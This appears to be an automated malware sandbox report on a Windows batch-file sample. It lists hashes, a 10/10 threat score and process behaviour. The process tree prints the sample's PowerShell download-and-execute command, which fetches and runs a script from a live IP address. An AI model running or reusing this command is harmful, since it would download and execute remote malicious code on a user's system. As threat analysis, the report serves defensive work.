Analysis
-
max time kernel
135s -
max time network
67s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
05-06-2020 13:10
Static task
static1
Behavioral task
behavioral1
Sample
b84c5ee27ddebb86958f6d6a06c0d157.bat
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
b84c5ee27ddebb86958f6d6a06c0d157.bat
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
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Target
b84c5ee27ddebb86958f6d6a06c0d157.bat
-
Size
215B
-
MD5
3fb4882cf9ed9ae348a4f6778326213f
-
SHA1
d0232b07da1053d045511423371421f57c148d1f
-
SHA256
16197944f910a1ec6485dcb92730374511c7e560e0b78ba3c6410e5238ba6f0e
-
SHA512
fabe93e067bf0541b1f03d910f9dd07f4c5408f6922c1d736dec551646a1118deee24df1a8d77c74951d58f0260056600c2ec82b397251940f3869a39e87ed60
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/b84c5ee27ddebb86958f6d6a06c0d157
Signatures
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 420 3936 WerFault.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 420 WerFault.exe Token: SeBackupPrivilege 420 WerFault.exe Token: SeDebugPrivilege 420 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
WerFault.exepid process 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe 420 WerFault.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b84c5ee27ddebb86958f6d6a06c0d157.bat"1⤵PID:1516
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/b84c5ee27ddebb86958f6d6a06c0d157');Invoke-VKIADKNT;Start-Sleep -s 10000"2⤵PID:3936
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3936 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:420